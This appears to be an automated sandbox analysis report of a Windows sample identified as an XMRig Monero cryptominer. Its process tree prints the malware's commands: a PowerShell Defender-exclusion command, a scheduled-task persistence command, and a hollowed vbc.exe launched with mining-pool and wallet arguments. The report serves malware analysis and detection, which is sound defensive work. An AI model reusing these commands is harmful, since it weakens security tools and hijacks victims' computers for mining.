Analysis
- max time kernel
58s - max time network
149s - platform
windows7_x64 - resource
win7-20221111-en - resource tags
- submitted
25/12/2022, 06:35
General
- Target file.exe
- Size 961KB
- Sample221225-hcbvwsbb86
- SHA256 dc31911b8ed395f23a66b2ad993a08a758c2f5ea651f54b388150d2016d97026
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 13 IoCs
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 24 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HMHM" /tr "C:\ProgramData\edge\HMHM.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HMHM" /tr "C:\ProgramData\edge\HMHM.exe"3⤵
- Creates scheduled task(s)
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/692-80-0x00000000027BB000-0x00000000027DA000-memory.dmp
memory/692-75-0x000007FEFBAF1000-0x000007FEFBAF3000-memory.dmp
memory/692-77-0x000007FEED160000-0x000007FEEDB83000-memory.dmp
memory/692-79-0x00000000027B4000-0x00000000027B7000-memory.dmp
memory/692-78-0x000007FEEC600000-0x000007FEED15D000-memory.dmp
memory/692-82-0x00000000027BB000-0x00000000027DA000-memory.dmp
memory/692-81-0x00000000027B4000-0x00000000027B7000-memory.dmp
memory/1180-88-0x00000000000E0000-0x0000000000121000-memory.dmp
memory/1180-92-0x000007FEF0FE0000-0x000007FEF1042000-memory.dmp
memory/1180-61-0x000007FEFD370000-0x000007FEFD3DC000-memory.dmp
memory/1180-62-0x000007FEFEF90000-0x000007FEFF001000-memory.dmp
memory/1180-63-0x000007FEF6860000-0x000007FEF6957000-memory.dmp
memory/1180-64-0x000007FEFF4A0000-0x000007FEFF57B000-memory.dmp
memory/1180-65-0x000007FEF59F0000-0x000007FEF63DC000-memory.dmp
memory/1180-66-0x0000000000FC0000-0x0000000001116000-memory.dmp
memory/1180-67-0x00000000000E0000-0x0000000000121000-memory.dmp
memory/1180-68-0x000007FEFDC00000-0x000007FEFDD2D000-memory.dmp
memory/1180-69-0x000007FEFDFF0000-0x000007FEFE1F3000-memory.dmp
memory/1180-70-0x000007FEFB7A0000-0x000007FEFB7F6000-memory.dmp
memory/1180-71-0x0000000000FC0000-0x0000000001116000-memory.dmp
memory/1180-59-0x000007FEFDEB0000-0x000007FEFDF4F000-memory.dmp
memory/1180-58-0x0000000077050000-0x000000007714A000-memory.dmp
memory/1180-57-0x000007FEFF180000-0x000007FEFF1E7000-memory.dmp
memory/1180-72-0x000007FEF65F0000-0x000007FEF671C000-memory.dmp
memory/1180-73-0x000007FEFCA00000-0x000007FEFCA22000-memory.dmp
memory/1180-76-0x000007FEFD660000-0x000007FEFD737000-memory.dmp
memory/1180-125-0x0000000000FC0000-0x0000000001116000-memory.dmp
memory/1180-56-0x000007FEF6960000-0x000007FEF69FC000-memory.dmp
memory/1180-85-0x000007FEFB580000-0x000007FEFB795000-memory.dmp
memory/1180-87-0x0000000000FC0000-0x0000000001116000-memory.dmp
memory/1180-55-0x000007FEF6E60000-0x000007FEF6ECF000-memory.dmp
memory/1180-89-0x000007FEFD940000-0x000007FEFD95F000-memory.dmp
memory/1180-90-0x000007FEFC8B0000-0x000007FEFC8C7000-memory.dmp
memory/1180-91-0x000007FEFA840000-0x000007FEFA85C000-memory.dmp
memory/1180-60-0x0000000077150000-0x000000007726F000-memory.dmp
memory/1180-93-0x000007FEFD7E0000-0x000007FEFD82D000-memory.dmp
memory/1180-94-0x000007FEF9B30000-0x000007FEF9B94000-memory.dmp
memory/1180-95-0x000007FEF9C30000-0x000007FEF9CA1000-memory.dmp
memory/1180-96-0x000007FEFCE80000-0x000007FEFCEA5000-memory.dmp
memory/1180-97-0x000007FEFAD50000-0x000007FEFAD77000-memory.dmp
memory/1180-98-0x000007FEFD400000-0x000007FEFD436000-memory.dmp
memory/1180-99-0x000007FEFC6D0000-0x000007FEFC72B000-memory.dmp
memory/1288-117-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1288-101-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1288-103-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1288-105-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1288-107-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1288-109-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1288-110-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1288-112-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1288-115-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1288-114-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1288-119-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1288-100-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1288-123-0x00000000000E0000-0x0000000000100000-memory.dmp
memory/1288-122-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1288-124-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1288-128-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1288-126-0x0000000000000000-0x0000000001000000-memory.dmp
memory/1288-127-0x0000000000000000-0x0000000001000000-memory.dmp